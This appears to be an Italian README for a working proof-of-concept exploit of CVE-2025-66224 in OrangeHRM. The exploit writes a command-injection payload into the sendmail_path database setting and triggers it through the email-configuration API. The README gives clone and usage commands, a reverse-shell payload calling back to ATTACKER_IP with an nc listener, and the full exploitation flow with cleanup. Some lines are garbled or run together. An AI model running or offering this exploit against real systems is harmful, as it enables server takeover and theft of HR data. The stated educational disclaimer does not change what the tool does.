Exploit proof-of-concept per CVE-2025-66224 che dimostra l'esecuzione remota di codice in OrangeHRM tramite iniezione di comandi nel parametro sendmail_path, con iniezione automatizzata del payload nel database e pulizia.
Questa Proof of Concept (PoC) dimostra una vulnerabilità di Remote Code Execution (RCE) in OrangeHRM tramite command injection nel parametro di configurazione sendmail_path.
L'exploit funziona in questo modo:
hs_hr_config)Questo strumento è fornito solo per scopi didattici e test di sicurezza autorizzati. L'accesso non autorizzato a sistemi informatici è illegale. Gli autori non sono responsabili per eventuali usi impropri o danni causati da questo strumento.
pip install requests mysql-connector-python
git clone https://github.com/richard-natan/PoC-CVE-2025-66224
cd PoC-CVE-2025-66224
pip install -r requirements.txt
_orangehrmpython3 exploit.py -t <TARGET_URL> -c <COOKIE_VALUE> \
-dh <MYSQL_HOST> -du <MYSQL_USER> -dp <MYSQL_PASSWORD> \
-cmd '<COMMAND_TO_EXECUTE>'
python3 exploit.py -t http://127.0.0.1:8080/ \
-c "g58tak8pbnheseatv6dggvi31i" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd "touch /tmp/pwned"
# Avvia il listener sulla macchina dell'attaccante
nc -lvnp 4444
# Esegui l'exploit con il payload reverse shell
python3 exploit.py -t http://target.com/ \
-c "your_session_cookie" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
| Parametro | Short | Obbligatorio | Descrizione |
|---|---|---|---|
--target | -t | ✅ | URL del target (es., http://target.com) |
--cookie | -c | ✅ | Valore del cookie di sessione |
--cookie_name | -cn | ❌ | Nome del cookie (predefinito: _orangehrm) |
--command | -cmd | ✅ | Comando da eseguire sul target |
--db_host | -dh | ✅ | Indirizzo host MySQL |
--db_user | -du | ✅ | Nome utente MySQL |
--db_pass | -dp | ✅ | Password MySQL |
--db_port | -dport | ❌ | Porta MySQL (predefinita: 3306) |
La vulnerabilità risiede nella funzionalità di configurazione email, dove il parametro sendmail_path viene salvato nel database e successivamente eseguito senza una corretta sanificazione.
Flusso dello Sfruttamento:
1. Autenticazione a OrangeHRM (ottenere un cookie di sessione valido)
↓
2. Connessione al database MySQL
↓
3. Individuazione della tabella hs_hr_config
↓
4. Aggiornamento del valore email_config.sendmail_path:
DA: /usr/sbin/sendmail -bs
A: /usr/sbin/sendmail -bs && <PAYLOAD> #
↓
5. Attivazione dell'esecuzione tramite API:
PUT /web/index.php/api/v2/admin/email-configuration
↓
6. Il comando viene eseguito sul server
↓
7. Ripristino del valore originale (pulizia)
Parametro Vulnerabile: email_config.sendmail_path
Database:
hs_hr_configname = 'email_config.sendmail_path'value = percorso del comando sendmailEndpoint di Attivazione:
PUT /web/index.php/api/v2/admin/email-configuration
sendmail_pathPoC di: RiccK
Team: Bypassadores && HackersOnSteroids
⚠️ Usa responsabilmente. Ottieni sempre la dovuta autorizzazione prima di effettuare test.